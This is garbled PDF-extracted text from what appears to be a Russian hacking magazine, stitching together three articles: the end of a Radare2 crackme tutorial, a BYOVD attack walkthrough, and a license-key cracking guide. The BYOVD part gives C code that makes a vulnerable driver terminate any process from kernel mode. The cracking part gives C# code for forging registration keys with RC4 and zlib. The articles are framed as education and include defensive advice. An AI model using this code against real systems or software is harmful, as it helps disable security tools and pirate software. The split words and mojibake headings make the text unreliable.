который про веря ет воз вра щен ное зна чение: если оно рав но нулю, выпол- 
няет ся переход в мес то вызова фун кции , которая выводит инфу о неп- 

равиль но вве ден ном име ни поль зовате ля и не тех дро идах. Возь мем
на замет ку: при кор рек тных поль зователь ских дан ных фун кция 
воз вра щает отличное от нуля зна чение. Перей дем наконец в ее тело:

authenticate
test

reject

authenticate

s sym.authenticate 
pdf 

Ди зас сем бли рован ная фун кция authenticate

Кро ме аргу мен та (дес крип тора сокета), в фун кции есть пять локаль ных
перемен ных. Их типы дан ных отра жены в ком мента риях, забот ливо оставлен- 
ных R2. Аргу мент из регис тра акку рат но кла дет ся в перемен ную . Про мота- 

ем фун кцию вниз. В ее начале ничего инте рес ного нет, но спус тя нес коль ко
стро чек наш взгляд прив лека ет вызов фун кции с говоря щим наз вани ем

, которой в качес тве единс твен ного аргу мен та переда ется

зна чение перемен ной .

fd

check_username
fd

ÏÐÎÌÅÆÓÒÎ×ÍÛÅ ÈÒÎÃÈ

Итак, мы рас смот рели все ути литы фрей мвор ка Radare2, уста нови ли в Debian
все нуж ные для пред сто ящих экспе римен тов пакеты. На при мере под готов- 
ленной мной кряк ми мы начали изу чать ста тичес кий ана лиз и осво или нес- 
коль ко основных при емов.

Впе реди нас ждет мно го инте рес ного. Нам пред сто ит научить ся
с помощью Radare2 находить дан ные для логина, модифи циро вать сер вер
так, что бы он работал, как нам надо, и, наконец, мы научим ся извле кать дан- 
ные и прев ращать их в фай лы с полез ной наг рузкой. Кро ме того, исполь зуя
Radare2, мы про ведем динами чес кий ана лиз. И все это — в кон соль ном
режиме!

https://xakep.ru/2022/12/07/nezumi-book-excerpt/
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ВЗЛОМ

Мно гие име нитые хакер ские груп пиров ки,
нап ример северо корей ская Lazarus,
исполь зуют дос туп к прос транс тву ядра
через ата ку BYOVD при выпол нении слож- 
ных APT-нападе ний. Тот же метод исполь- 
зуют авто ры инс тру мен та Terminator, а так же
опе рато ры раз личных шиф роваль щиков.
В этой статье мы под робно раз берем,
как работа ет BYOVD и почему эта ата ка ста- 
ла популяр ной.

WWW

 (Хакер)
•Хак-груп па Lazarus экс плу ати рует драй вер Dell

для раз верты вания рут кита

 (Хакер)
•«Убий ца анти виру сов» с хакер ских форумов

ока зал ся вари ацией BYOVD-ата ки

 (SecurityLab)

•Вы мога тели научи лись деак тивиро вать EDR-
решения через уяз вимый драй вер сто рон ней
Windows-ути литы Process Explorer

На самом деле в узких кру гах дав но было извес тно о воз можнос ти исполь- 
зовать чужой драй вер в сво их целях, но до какого-то момен та она не была
столь важ ной. Мож но было открыть любой хакер ский форум и най ти пучок
дру гих спо собов обой ти про вер ку целос тнос ти ядра Windows и надурить
механизм KPP (Kernel Patch Protection).

Но в Microsoft тоже об этом догады вались и в ито ге довели кон троль
целос тнос ти ядра до дос таточ но высоко го уров ня, обло мав всю малину
любите лям нес тандар тно го прог рамми рова ния. Вот тог да все вспом нили
про BYOVD, потому что реали зовать эту ата ку зна читель но про ще, чем искать
зиродеи в механиз ме кон тро ля целос тнос ти ядра.

BYOVD дает хорошие воз можнос ти: поз воля ет отклю чать анти виру сы, под- 
нимать при виле гии (LPE) и делать дру гие инте рес ные фокусы, в зависи мос ти
от того, какой драй вер ата кован.

В кон це кон цов, ядро всег да было лакомым кусоч ком для хакеров всех
мас тей. Давай раз берем ся, как работа ет эта ата ка.

ÊÀÊ ÓÑÒÐÎÅÍ ÄÐÀÉÂÅÐ

Для начала нам нуж но понимать, что такое драй вер в Windows и как он устро- 
ен. Оче вид но, что, как и у любого дру гого при ложе ния, у драй вера есть точ ка
вхо да, которая называ ется DriverEntry и име ет сле дующий про тотип:

  NTSTATUS DriverEntry (
   _In_ PDRIVER_OBJECT DriverObject,
   _In_ PUNICODE_STRING RegistryPath
);

Ви дим, что в основную фун кцию драй вера переда ются два аргу мен та:
DriverObject, пред став ляющий собой ука затель на струк туру ,

которая содер жит информа цию о драй вере, и ука затель на стро ку
 с путем к фай лу драй вера. Сама струк тура  выг- 

лядит так:

DRIVER_OBJECT

RegistryPath DRIVER_OBJECT

   typedef struct _DRIVER_OBJECT {
 CSHORT             Type;
 CSHORT             Size;
      PDEVICE_OBJECT DeviceObject;
 ULONG              Flags;
 PVOID              DriverStart;
 ULONG              DriverSize;
 PVOID              DriverSection;
   PDRIVER_EXTENSION DriverExtension;
      UNICODE_STRING DriverName;
     PUNICODE_STRING HardwareDatabase;
   PFAST_IO_DISPATCH FastIoDispatch;
  PDRIVER_INITIALIZE DriverInit;
     PDRIVER_STARTIO DriverStartIo;
      PDRIVER_UNLOAD DriverUnload;
      PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
  } DRIVER_OBJECT, *PDRIVER_OBJECT;

Что бы при ложе ние из поль зователь ско го режима мог ло вза имо дей ство вать
с драй вером, работа ющим в режиме ядра, соз дает ся  драй вера

при помощи фун кции  или  и 

 на него при помощи .

óñ òðîé ñòâî

IoCreateDevice WdmlibIoCreateDeviceSecure ñèì- 

âîëè÷åñ êàÿ ññûë êà IoCreateSymbolicLink
Вот фраг мент кода в реаль ном драй вере, где про исхо дит соз дание сим- 

воличес кой ссыл ки на него.

Соз дание сим воличес кой ссыл ки при помощи IoCreateSymbolicLink

Те перь раз берем ся с тем, как при ложе ние поль зователь ско го режима зас- 
тавля ет драй вер выпол нить какое-либо дей ствие.

Об рати вни мание на поле 

 в струк туре . Это поле —
мас сив ука зате лей на фун кции, которые будет выпол нять драй вер в опре- 
делен ных усло виях (то есть, по сути, спи сок выпол няемых драй вером дей- 
ствий).

PDRIVER_DISPATCH MajorFunction[
IRP_MJ_MAXIMUM_FUNCTION + 1] DRIVER_OBJECT

Преж де все го нас инте ресу ет  — это один

из кодов фун кций IRP (I/O Request Packet) в мас сиве . Он

исполь зует ся для обра бот ки зап росов на управле ние устрой ством драй вера,
таких как чте ние и запись дан ных. Что бы было наг ляднее, при мер кода драй-
вера, отве чающий за ини циали зацию раз ных фун кций IRP:

IRP_MJ_DEVICE_CONTROL
MajorFunction

 NTSTATUS DispatchRead(
     _In_ PDEVICE_OBJECT DeviceObject,
     _Inout_ PIRP Irp
)
{
   UNREFERENCED_PARAMETER(DeviceObject);

   // Обработка операции чтения файла
     Irp->IoStatus.Status = STATUS_SUCCESS;
     Irp->IoStatus.Information = 0;

    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return STATUS_SUCCESS;
}

...

 NTSTATUS DriverEntry:

   // Заполнение массива MajorFunction
     DriverObject->MajorFunction[IRP_MJ_CREATE] = DispatchCreateClose;
     DriverObject->MajorFunction[IRP_MJ_CLOSE] = DispatchCreateClose;
   // Код, выполняющийся при событии IRP_MJ_READ
     DriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
     DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] =
DriverDispatch;

INFO

Input/Output Control, или IOCTL, — это механизм
вза имо дей ствия меж ду поль зователь ским при- 
ложе нием и драй вером устрой ства в Windows.
IOCTL поз воля ет при ложе нию отправ лять
управля ющие коман ды и зап росы к драй верам
устрой ств для выпол нения раз личных опе раций,
таких как чте ние или запись дан ных, уста нов ка
парамет ров устрой ства, получе ние информа ции
о сос тоянии устрой ства и мно гое дру гое. Ког да
при ложе ние отправ ляет IOCTL, опе раци онная
сис тема переда ет зап рос соот ветс тву юще му
драй веру устрой ства, который затем выпол няет
нуж ное дей ствие и воз вра щает резуль тат опе- 
рации.

IOCTL-зап росы обра баты вают ся в спе циаль ной фун кции , вот
ее про тотип (запом ни его, он нам понадо бит ся, что бы най ти эту фун кцию
в дизас сем бле ре):

DriverDispatch

 NTSTATUS DriverDispatch(
    [in, out] _DEVICE_OBJECT *DeviceObject,
    [in, out] _IRP *Irp
)

Код обра бот ки IOCTL-зап росов к драй веру, реали зован ной в фун кции
, может выг лядеть при мер но так:DriverDispatch

    NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
      NTSTATUS status = STATUS_SUCCESS;
      PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
      ULONG controlCode = irpStack->Parameters.DeviceIoControl.
IoControlCode;

   switch(controlCode)
   {

        case IOCTL_CUSTOM_COMMAND:
           // Обработка пользовательской команды

              status = ProcessCustomCommand(DeviceObject, Irp);
           break;

        case IOCTL_ANOTHER_COMMAND:
           // Обработка другой пользовательской команды

              status = ProcessAnotherCommand(DeviceObject, Irp);
           break;

       default:
           // Неизвестная команда, возвращаем ошибку

             status = STATUS_INVALID_DEVICE_REQUEST;
           break;
   }

     Irp->IoStatus.Status = status;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return status;
}

В этой фун кции  и  —
это прос то дефай ны, содер жащие номера IOCTL. Их будет отправ лять поль- 
зователь ское при ложе ние в драй вер. По зап росу при ложе ний фун кции будут
выпол нять ся уже в драй вере и с при ори тетом ring 0. Часть switch-case в фун- 
кции  — одна из самых инте рес ных для нас, потому

что как раз содер жит номера управля ющих IOCTL-зап росов.

IOCTL_CUSTOM_COMMAND IOCTL_ANOTHER_COMMAND

DispatchDeviceControl

ÈÑÑËÅÄÓÅÌ ÄÐÀÉÂÅÐ

Пос ле того как мы озна коми лись с базовой струк турой драй вера, поняли,
как драй вер вза имо дей ству ет с юзер модом, нас тало вре мя ревер са! Заг- 
ружа ем подопыт ный драй вер в IDA Pro и видим точ ку вхо да драй вера.

Так как это реаль ный драй вер, уяз вимый для BYOVD, его началь ный код
может нес коль ко отли чать ся от прос тей шего макета драй вера. Что бы попасть
в области кода, содер жащие соз дание устрой ства, сим воличес кой ссыл ки
и начало ини циали зации мас сива , прос ледим, куда ведет
аргу мент , ведь он обя зате лен для дей ствий ини циали зации.

В ито ге находим это мес то, оно рядом с кодом соз дания сим воличес кой
ссыл ки. Но так быва ет не всег да.

MajorFunction
DriverObject

За пол нение MajorFunction

Строч ка с  ини циали зиру ет мас сив . Идем в фун кцию

, ука зан ную в аргу мен те, видим мно го кода.

memset MajorFunction
sub_140014890

По иск фун кции дис петче риза ции

Отыс кива ем фун кцию дис петче риза ции по ее про тоти пу (пом нишь, я говорил,
что его надо запом нить?) — прос то прос лежива ем, куда идет аргу мент,
содер жащий IRP. А уже внут ри фун кции видим код ини циали зации раз ных эле- 
мен тов .MajorFunction

Ини циали зиру ются эле мен ты MajorFunction

Нам инте ресен имен но , поэто му смот рим в фун- 

кцию  и находим в ней раз личные case, которые и реали зуют

управля ющие коды IOCTL.

IRP_MJ_DEVICE_CONTROL
sub_140018ff8

Наб люда ем раз личные IOCTL

Те перь дело тех ники: нуж но пос мотреть, что дела ет каж дый case, что бы най ти
что-то инте рес ное и полез ное для нас. Нем ножко осмотрев шись в коде,
находим фун кцию, которая уме ет завер шать про цес сы по передан ному PID.

ZwOpenProcess и ZwTerminateProcess не могут не заин тересо вать

Как вид но из кода, фун кция завер шает про цесс, исполь зуя обра щение
к . То, что нуж но! Запоми наем номер IOCTL-зап роса,
который вызыва ет эту фун кцию.
ZwTerminateProcess

ÏÈØÅÌ ÊÎÄ

Итак, реверс драй вера при нес свои пло ды, теперь нам нуж но написать инс- 
тру мент, который поможет про экс плу ати ровать драй вер и зас тавить его
завер шить любой про цесс по нашей коман де. Но сна чала нам нуж но обра- 
тить ся к драй веру. Из юзер мода это мож но сде лать при помощи фун кции

, вот ее про тотип:DeviceIoControl

 BOOL DeviceIoControl(
 [in]                HANDLE       hDevice,
 [in]                DWORD        dwIoControlCode,
  [in, optional]      LPVOID       lpInBuffer,
 [in]                DWORD        nInBufferSize,
       [out, optional] LPVOID       lpOutBuffer,
 [in]                DWORD        nOutBufferSize,
       [out, optional] LPDWORD      lpBytesReturned,
     [in, out, optional] LPOVERLAPPED lpOverlapped
);

Об рати вни мание на параметр  — его мы извле каем из нашего

дизас ма, в момент, ког да фор миру ется сим воличес кая ссыл ка. А параметр
 — это номер вет ки case, которая содер жит вызов

.

hDevice

dwIoControlCode
ZwTerminateProcess

  int main() {

         int status = 0, proc_id = 0;
      DWORD retBytes = 0;

    scanf("%u", &proc_id);

      HANDLE hDevice = CreateFileA(
       "\\\\.\\my_driver",
       GENERIC_WRITE|GENERIC_READ,
       0,
       NULL,
       OPEN_EXISTING,
       FILE_ATTRIBUTE_NORMAL,
       NULL
       );

        
    

status = DeviceIoControl(hDevice, 0x88889988, &proc_id, sizeof(
proc_id), NULL, 0, &retBytes, NULL);

       CloseHandle(hDevice);

    return 0;
}

Код пре дель но прост: при помощи  мы получа ем дес крип тор

устрой ства драй вера по его ссыл ке, которую мы обна ружи ли в про цес се
ревер са, а вызов фун кции  дает пря мое ука зание драй веру
выпол нить то дей ствие, которое ука зыва ется IOCTL-кодом (аргу мент

). В нашем слу чае это завер шение про цес са по его ID. Пос- 

ле выпол нения это го кода драй вер при помощи вызова фун кции
 завер шит про цесс пря мо из ядра!

CreateFileA

DeviceIoControl

dwIoControlCode

ZwTerminateProcess

ÌÎÆÍÎ ËÈ ÇÀÙÈÒÈÒÜÑß?

Ра зуме ется, эта тех ника — не «сереб ряная пуля», потому что были раз- 
работа ны конт рме ры, которые помога ют миними зиро вать рис ки, свя зан ные
с BYOVD:

от зыв сер тифика та под писи драй вера;•
чер ный спи сок драй веров;•
Virtualization-based Security (VBS) и Hypervisor-Protected Code Integrity
(HVCI).

•

Да вай прой дем ся по каж дому. Чер ный спи сок собира ет кон троль ные сум мы
и отпе чат ки драй веров, которые были замече ны в ата ках. Отзыв сер тифика та
обну ляет дей ствие сер тифика та под писи, и драй вер ста новит ся как буд то
непод писан ным. А изо ляция ядра на осно ве вир туали зации (VBS и ее ком- 
понент HVCI) пре пятс тву ет вре донос ным дей стви ям еще неиз вес тных,
но исполь зующих ся для атак драй веров. Сис тема вир туали зации выс тупа ет
кор нем доверия и пред полага ет, что ядро может быть в любой момент ском- 
про мети рова но.

Все эти меры работа ют вмес те и ста ли эффектив ными средс тва ми
для пре дот вра щения атак BYOVD. Но сра бота ют они, толь ко если поль- 
зователь их не отклю чил спе циаль но, нап ример для улуч шения про изво- 
дитель нос ти.

ÂÛÂÎÄÛ

На деюсь, мне уда лось нем ного рас ска зать о тех методах и средс твах,
которы ми поль зуют ся одни из самых кру тых хакер ских груп пировок, а кто пре- 
дуп режден, тот, как извес тно, воору жен. Как минимум ты уже зна ешь, почему
не сто ит вык лючать защиту ядра Windows ради лиш них 10% ско рос ти!

mailto:xtahi0nix@gmail.com
https://xakep.ru/2022/10/04/lazarus-byowd/
https://xakep.ru/2023/06/02/terminator/
https://www.securitylab.ru/news/537695.php
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iocreatedevice
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdmsec/nf-wdmsec-wdmlibiocreatedevicesecure
https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-iocreatesymboliclink
https://learn.microsoft.com/ru-ru/windows-hardware/drivers/ddi/wdm/nc-wdm-driver_dispatch
https://learn.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol


МВК

ВЗЛОМ

Мно гие прог раммы исполь зуют клю чи
для акти вации лицен зии. Взлом щики час- 
тень ко поль зуют ся этим и пишут кей гены,
спо соб ные выдать сколь ко угод но клю чей,
которые соф тина бес печно при мет за нас- 
тоящие. В этой статье я покажу на при мере,
как имен но кря керы под бира ют серий ники
и соз дают кей гены.

Для демонс тра ции я возь му реаль ную прог рамму с не самой прос той
защитой, но по понят ным при чинам не буду называть ни ее, ни ее раз работ- 
чика. Наша цель здесь лишь демонс тра ция уяз вимос ти. Матери ал будет
полезен раз работ чикам соф та, жела ющим изу чить тех нологию под бора
лицен зион ных клю чей и понять, как это дела ют злые кря керы. Наде юсь,
это поможет в соз дании более совер шенных защит.

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для иссле дова телей безопас ности
и спе циалис тов по раз работ ке защиты прог рам- 
мно го обес печения. Автор и редак ция не несут
ответс твен ности за любой вред, при чинен ный
с при мене нием изло жен ной информа ции.
Наруше ние автор ских прав и патен тно го законо- 
датель ства, рас простра нение кон тра фак тно го
ПО и наруше ние работы сис тем прес леду ются
по закону.

Итак, усло вие задачи: пред положим, есть некий набор прос тых кон соль ных
ути лит. В три аль ном режиме каж дая прог рамма из это го набора работа ет
с мел кими, но неп рият ными огра ниче ниями, одна ко у нее при сутс тву ет ключ
коман дной стро ки для вво да кода акти вации.

При исполь зовании клю ча есть два вари анта: если код акти вации неверен,
прог рамма выда ет стро ку «Error: Invalid License Key» и завер шает работу,
в про тив ном слу чае отра баты вает без огра ниче ний. Для наг ляднос ти
упростим задачу: пред положим, что прог рамма ничем не защище на и не
обфусци рова на, написа на на C (про верить это мож но в Detect It Easy).

В прин ципе, три аль ные огра ниче ния и про вер ка клю ча в подоб ном слу чае
пат чатся одним бай том, но такой вари ант мы рас смат ривать не будем. Наша
задача — ревер сировать про вер ку клю ча акти вации, фор мат которо го нам
неиз вестен, и выяс нить сла бые мес та алго рит ма. На этом при мере я покажу,
каким обра зом в подоб ных слу чаях дей ству ют авто ры кей генов.

ÏÎÄÁÎÐ ÊËÞ×À

Пред положим, что про цеду ра про вер ки регис тра цион ного клю ча уже най- 
дена. А вот выг лядит она в нашем при мере, на пер вый взгляд, весь ма пуга- 
юще — даже в пре обра зован ном в псев докод виде.

Про цеду ра про вер ки регис тра цион ного клю ча

Под бирать ключ будем пошаго во. Нач нем с того, что под ста вим в качес тве
регис тра цион ного клю ча про изволь ную стро ку (нап ример, ) и будем
трас сировать отладчи ком ее раз бор до мес та, которое алго ритм соч тет неп- 
равиль ным. Затем исправ ляем стро ку соот ветс тву ющим обра зом, что бы про- 
вер ка про ходи ла, сно ва под став ляем исправ ленную стро ку, ищем сле дующую
нес рабаты вающую про вер ку и пов торя ем этот про цесс до пол ного удов- 
летво рения.

00000000

Это выг лядит как велико леп ный план, вер но? Одна ко на прак тике все ока- 
зыва ется не так прос то. Дой дя до кон ца бес конеч ного (sic!) цик ла 
с пре дыду щего скри на, алго ритм вывали вает ся по усло вию в стро ке 741.

while(1)

Ал горитм вывали вает ся по усло вию в стро ке 741

При этом логичес кий смысл псев допере мен ных  и  нам неясен. Вер- 
немся к самому пер вому скрин шоту — на нем псев допере мен ная  при- 

сутс тву ет, вид но усло вие ее инкре мен та и даже , в котором она учас- 

тву ет в качес тве аргу мен та.

v152 v148
v152

Switch

Нет рудно догадать ся, что усло вием инкре мен та  явля ется равенс тво

текуще го сим вола стро ки регис тра цион ного кода 58. А это зна чит, что сим вол
с кодом  — это сим вол — раз делитель групп, которых по выходу
из цик ла дол жно нас читывать ся ров но семь.

v152

58=0x3A=":"

Та ким обра зом, мы опре дели ли общий фор мат регис тра цион ного клю ча.
Он име ет сле дующий вид:

0000:1111:2222:3333:4444:5555:6666 

Под став ляем его в коман дную стро ку вмес то преж него и сно ва запус каем
про вер ку.

Как и ожи далось, про вер ка в стро ке 741 (на пре дыду щем скри не) теперь
сра баты вает пра виль но. Сле дующая кри тичес кая про вер ка обна ружи вает ся
бук валь но нес коль кими стро ками ниже.

Сле дующая про вер ка

Тут все пре дель но прос то: груп па  пос ледова тель но про веря ется
на четыре шаб лонных зна чени ях , ,  и . Даже и не

будем замора чивать ся тем, что это зна чит, прос то под став ляем пер вое
попав шееся зна чение  в пер вую груп пу и выходим к сле дующей про-
вер ке.

1111
ENTCPU WEBCPU OEM ENTERP

ENTCPU

Оче ред ная про вер ка лицен зион ного клю ча

Здесь нас ждет какая-то голово лом ка (запоз дало пре дуп реждаю, что с каж- 
дой груп пой слож ность раз гадки «голово лом ки» будет нарас тать). Поп робу ем
ее раз гадать. При более прис таль ном взгля де на этот код мы понима ем, что
это все го-нав сего про вер ка груп пы  на содер жание в ней сле дующих
сим волов:

4444

(условная стро ка 927) ;• 76=0x4C="L"

(условная стро ка 933) ;• 76+1=0x4D="M"

(условная стро ка 941) .• 76+1+10=0x57="W"

На личие любых дру гих сим волов в этой груп пе рас ценива ется как ошиб ка.
Итак, наш регис тра цион ный код уже кон кре тизи ровал ся до сле дующе го вида:

0000:ENTCPU:2222:3333:LMW:5555:6666
Я не зря пре дуп реждал, что хоть до кон ца и оста лось все го две нераз- 

гадан ные груп пы сим волов, но с каж дой груп пой слож ность квес та будет рас- 
ти. Раз гадыва ние содер жимого груп пы  понача лу выг лядит сов сем прос- 

то.

5555

Раз гадыва ние содер жимого груп пы 5555

С пер вого взгля да вид но, что дли на груп пы сос тавля ет 13 сим волов, а пер вые
четыре сим вола — это , , , 

, ито го . А вот даль ше начина ется пол ный треш.

65=0x41="A" 77=0x4D="M" 83=0x53="S" 40=0x28="(
" "AMS("

Про дол жаем раз гадывать голово лом ку

Соз дает ся впе чат ление, что стран ные хеши из кодов сле дующих вось ми сим- 
волов пред став ляют собой сис тему из трех урав нений (точ нее, неравенств!),
несоб людение которой дела ет ключ невалид ным. Поп робу ем разоб рать ся,
зачем авто ры прог раммы нагоро дили такой ого род. Для начала выпишем
сис тему неравенств в более понят ном виде. Пусть  — i-й сим вол груп пы

, тог да сис тема неравенств выг лядит так:
c[i]

5555

10  c[4]   993 ( * ( * 10 + c[5]) + c[6]) * 10 + c[7] – 53328 – 2007 <=
2  5  12 * ( * c[8] – 264) + c[9] <=

 31 c[10] * 10 + c[11] – 528 <=

Ста ло не силь но понят нее, хотя кон стан ты ,  и  о чем-то смут но нам

напоми нают — уж не о дате ли? Ну, нап ример, месяц не может быть боль- 
ше 12, день месяца — боль ше 31, а год не дол жен пре вышать 2007 + 993 =
3000.

2007 12 31

Ум ножение на сте пени чис ла 10 намека ет на десятич ные циф ры, но ведь
у нас в коде не циф ры, а ASCII-коды сим волов? Прис мотрим ся пов ниматель- 
нее к пос ледне му неравенс тву, точ нее, к вол шебно му чис лу 528 в нем. А ведь
это 480 + 48, то есть 0x30 * 10 + 0x30. Как хорошо не про гули вать матема тику
в шко ле, в этом слу чае левая часть пос ледне го неравенс тва лег ко и неп- 
ринуж денно пре обра зует ся так:

 10 
  + 

c[10] * 10 + c[11] – 528 = c[10] * 10 + c[11] – 0x30 * 10 – 0x30 =
* (c[10] – 0x30) (c[11] – 0x30)

Это неравенс тво будет истинным в том слу чае, если десятич ное чис ло
из стро ки, сос тавлен ной из сим волов , будет <= 31. Ана логич- 

ные вык ладки мож но про извести и отно ситель но пер вых двух неравенств,
из чего нап рашива ется вывод (тут же мож но про верить его на прак тике), что
в скоб ках пос ле  груп па содер жит дату вида .

c[10] + c[11]

AMS AMS(20240704)
Как ты уже догадал ся, самый слож ный квест при готов лен на закус ку —

речь идет о валида ции условной груп пы . Пока что на скрин шоте мы
видим, что дли на этой груп пы обя затель но дол жна быть чет ным чис лом, затем
про веря ется, что это чис ло не менее 5, то есть минималь ным допус тимым
зна чени ем будет 6. Пос мотрим на то, что с этой груп пой про исхо дит в даль- 
нейшем.

6666

Ва лида ция груп пы 6666

При бег лом взгля де на исполь зуемые здесь про вер ки и кон стан ты
( ; ; ) лег ко догадать ся, что каж дый

сим вол пред став ляет собой циф ру в Hex. Затем из них в условной стро- 
ке 1135 побай тово собира ется бинар ный мас сив, прав да, вне зап но
в обратном поряд ке. Мож но ска зать, что и этот квест мы прош ли без осо бого
тру да, одна ко сле дующий код повер гает нас в лег кую панику.

48=0x30="0" 65=0x41="A" 97=0x61="a"

Очень стран ный код

Тут явно замеша на крип тогра фия, при чем неиз вес тно какой слож ности. Слег- 
ка про гуляв шись по вызовам внут ри , мы натыка емся на такой

код.

sub_E1D9B0

Этот код сно ва нам смут но что-то напоми нает. Ну конеч но, это клас сичес кая
началь ная ини циали зация таб лицы перес тановок алго рит мом клю чево го рас- 
писания (key-scheduling algorithm):

   private void init(byte[] key)
{
    int keyLength = key.Length;
         for (int i = 0; i < 256; i++)
 {
     S[i] = (byte)i;
 }
    int j = 0;
         for (int i = 0; i < 256; i++)
 {
             j = (j + S[i] + key[i % keyLength]) % 256;
    S.Swap(i, j);
 }
}

Ключ шиф рования нам тоже известен, на пре дыду щем скри не он содер жится
в перемен ной . Он и его дли на  учас тву ют в ини циали зации век тора

перес танов ки RC4 про цеду рой .

v149 v108
sub_E1D9B0

Те перь, ког да и этот квест прой ден, воз ника ет резон ный воп рос: а какие
дан ные тре бует ся шиф ровать? Уро вень слож ности все повыша ется, с это го
момен та мы не можем прос то так взять и пра вить акти ваци онный ключ
руками, нап ример в блок ноте, как мы делали это рань ше. Теперь для каж дого
изме нения нам при дет ся перешиф ровывать бинар ные дан ные, пос ле чего
перево дить их в тек сто вую стро ку, при чем в ревер сирован ном виде.

Без кодин га на текущем эта пе не обой тись: мно гие пред почли бы Python,
но я пред лагаю реали зовать прог рамму на C#. Биб лиоте ку RC4 можем 

 готовую.
ска- 

чать
Как ты, воз можно, догадал ся, в финале нам пред сто ит пре одо леть

еще более кру тую высоту. Дви гаясь даль ше в поис ках пар синга дешиф рован- 
ного бло ка, мы натыка емся вот на такую засаду.

Хит рые соз датели биб лиоте ки решили перед шиф ровани ем упа ковать дан- 
ные любимым алго рит мом сжа тия PDF-стри мов — FlateDecode. Это весь ма
досад но: извес тно, что алго ритм Deate отли чает ся от обыч но исполь зуемых
дот нетов ских стан дар тных биб лиотек  и zlib. Самый

под ходящий пакет для дан ного слу чая, на мой взгляд, Ionic.Zlib. Уста нав лива- 
ем его через  и под клю чаем к про екту. Кодиро вание бло ка 

из исходно го бинар ного мас сива raw на язы ке C# теперь выг лядит при мер но
так:

System.IO.Compression

NuGet 6666

...
    byte [] ionicCompressed = Ionic.Zlib.ZlibStream.CompressBuffer(raw);

    byte[] crypted = RC4.Apply(ionicCompressed, RC4key);
   string result = ByteArrayToString(crypted);

...

По хоже, мы наконец про дела ли наибо лее слож ный этап работы — разоб- 
рались с самыми кавер зны ми алго рит мами шиф рования и ком прес сии
и даже соз дали собс твен ный инс тру мент для модели рова ния регис тра цион- 
ного клю ча. Оста лось дело тех ники: ревер сировать пар синг рас шифро ван ных
и рас пакован ных дан ных. Что бы не утом лять тебя и так уже затянув шимся
повес тво вани ем, при веду толь ко клю чевые фраг менты кода.

Клю чевые фраг менты кода

Здесь и ниже фун кция  рас паковы вает текущий сим вол и воз вра- 

щает его. В слу чае ошиб ки воз вра щает ся . Фун кция  добав ляет
этот сим вол в буфер деком прес сии. Итак, пред став ленный код рас паковы- 
вает все сим волы из упа кован ного вход ного потока до сим вола с кодом 

и помеща ет их в буфер .

sub_48CA30
-1 sub_49DAF0

0
v191

Здесь  — это не что иное, как , пре обра зующий стро ковое

зна чение груп пы  из псев допере мен ной  (она, как видишь, может

сос тоять толь ко из десятич ных цифр) в чис ловое зна чение . Затем оно
про веря ется на равенс тво с пос ледним ненуле вым бай том из буфера деком- 
прес сии. Если зна чения сов пада ют, то все нор маль но, мож но про дол жать
пар синг даль ше.

sub_49DC10 sscanf
2222 v116

v115

Ес ли зна чения сов пада ют, мож но про дол жать пар синг даль ше

Пер вые четыре сим вола буфера деком прес сии про веря ются на равенс тво
с сим волами груп пы  — дол жно быть пол ное сов падение, что бы прой ти

финаль ную про вер ку.

0000

Че тыре сим вола буфера деком прес сии про веря ются на равенс тво
с сим волами груп пы 0000

Дан ные в буфере деком прес сии закон чились, побай тово рас паковы ваем наш
мас сив даль ше. Сле дующий рас пакован ный байт дол жен сов падать
с текущим счет чиком деком прес сирован ных дан ных из псев допере мен ной

. Если это усло вие выпол няет ся, то сле дующие рас пакован ные два бай- 
та — это год окон чания лицен зии, который мы получи ли при пар синге груп пы

, а сле дующие два бай та — это месяц и день отту да же. Усло вие в стро- 

ке 1296 про веря ет текущую дату на пред мет окон чания лицен зии, если вре мя
еще есть — лицен зия валид на, мож но работать даль ше.

v126

5555

Итак, мы ревер сирова ли исходный вид мас сива валид ных дан ных из груп-
пы , который теперь мож но упа ковать нашей самопис ной прог раммой.
В получен ном регис тра цион ном коде:

6666

 — пер вые четыре бай та сов пада ют с тек сто вым содер жимым ;• 0000 0000

 — зна чение это го бай та дол жно сов падать с десятич ным экви вален том
поля ;

• 2

2222

 — обя затель ный байт-раз делитель;• 0

 — зна чение это го бай та сов пада ет с его позици ей в рас пакован ном
буфере;

• 6

 — два бай та, год окон чания лицен зии (допус тим, );• 0x7EE 2030

 — один байт, месяц окон чания лицен зии (допус тим, январь);• 1

 — один байт, 1 янва ря, с новым годом и окон чани ем лицен зии!• 1

Как видишь, пос ледняя груп па (условно наз ванная нами ) — самая слож- 

ная для раз бора, пос коль ку она содер жит в себе про вероч ные зна чения всех
основных парамет ров лицен зии. Наличие такого кон троль ного зна чения обя- 
затель но для сос тавле ния всех нор маль ных регис тра цион ных клю чей.
Не будь его, любой эни кей щик мог бы лег ко поп равить руками нуж ный
параметр лицен зии в тек сто вом редак торе и регис тра ция потеря ла бы
смысл.

6666

Не спо рю, в разоб ранном при мере алго ритм генера ции кон троль ной
груп пы был выб ран, мяг ко говоря, ори гиналь но (собс твен но, из-за это го
такой при мер я и решил разоб рать). Обыч но прог раммис ты силь но
не замора чива ются и исполь зуют в качес тве кон троль ного зна чения
какой-либо крип тогра фичес кий хеш от содер жимого лицен зии, а то и прос то
кон троль ную сум му раз ной сте пени слож ности, в зависи мос ти от лени и уров- 
ня лич ной паранойи.

ÐÅÊÎÌÅÍÄÀÖÈÈ ÏÐÎÃÐÀÌÌÈÑÒÀÌ

Те перь, ког да мы разоб рали при мер изго тов ления чужого регис тра цион ного
кода, дам нес коль ко советов по совер шенс тво ванию сво его. Как я уже
говорил, мы рас смат ривали самый прос той слу чай — в час тнос ти, этот регис- 
тра цион ный ключ при вязан исклю читель но к три аль ной дате, то есть будет
работать на любом компь юте ре, хозя ин которо го каким-то обра зом получит
